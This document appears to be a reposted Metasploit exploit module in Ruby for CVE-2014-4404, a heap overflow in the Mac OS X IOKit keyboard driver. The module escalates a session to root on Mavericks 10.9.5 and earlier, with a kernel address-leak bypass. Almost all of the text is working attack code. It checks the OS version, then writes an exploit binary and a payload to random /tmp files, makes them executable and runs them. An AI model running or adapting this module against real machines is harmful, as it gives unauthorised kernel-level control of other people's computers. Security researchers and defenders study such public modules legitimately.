Apple Mac OSX – IOKit Keyboard Driver Privilege Escalation (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = ManualRanking # Can cause kernel crash include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'Mac OS X IOKit Keyboard Driver Root Privilege Escalation', 'Description' => %q{ A heap overflow in IOHIKeyboardMapper::parseKeyMapping allows kernel memory corruption in Mac OS X before 10.10. By abusing a bug in the IORegistry, kernel pointers can also be leaked, allowing a full kASLR bypass. Tested on Mavericks 10.9.5, and should work on previous versions. The issue has been patched silently in Yosemite. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ian Beer', # discovery, advisory, publication, and a most excellent blog post 'joev' # copy/paste monkey ], 'References' => [ [ 'CVE', '2014-4404' ], [ 'URL', 'http://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html' ], # Heap overflow: [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=40' ], # kALSR defeat: [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=126' ] ], 'Platform' => 'osx', 'Arch' => ARCH_X86_64, 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Mac OS X 10.9.5 Mavericks x64 (Native Payload)', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 24 2014' )) end def check if ver_lt(osx_ver, "10.10") Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def exploit exploit_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2014-4404') binary_exploit = File.read(File.join(exploit_path, 'key_exploit')) binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" print_status("Writing exploit file as '#{exploit_file}'") write_file(exploit_file, binary_exploit) register_file_for_cleanup(exploit_file) print_status("Writing payload file as '#{payload_file}'") write_file(payload_file, binary_payload) register_file_for_cleanup(payload_file) print_status("Executing payload...") cmd_exec("chmod +x #{exploit_file}") cmd_exec("chmod +x #{payload_file}") cmd_exec("#{exploit_file} #{payload_file}") end def osx_ver cmd_exec("sw_vers -productVersion").to_s.strip end def ver_lt(a, b) Gem::Version.new(a) < Gem::Version.new(b) end end |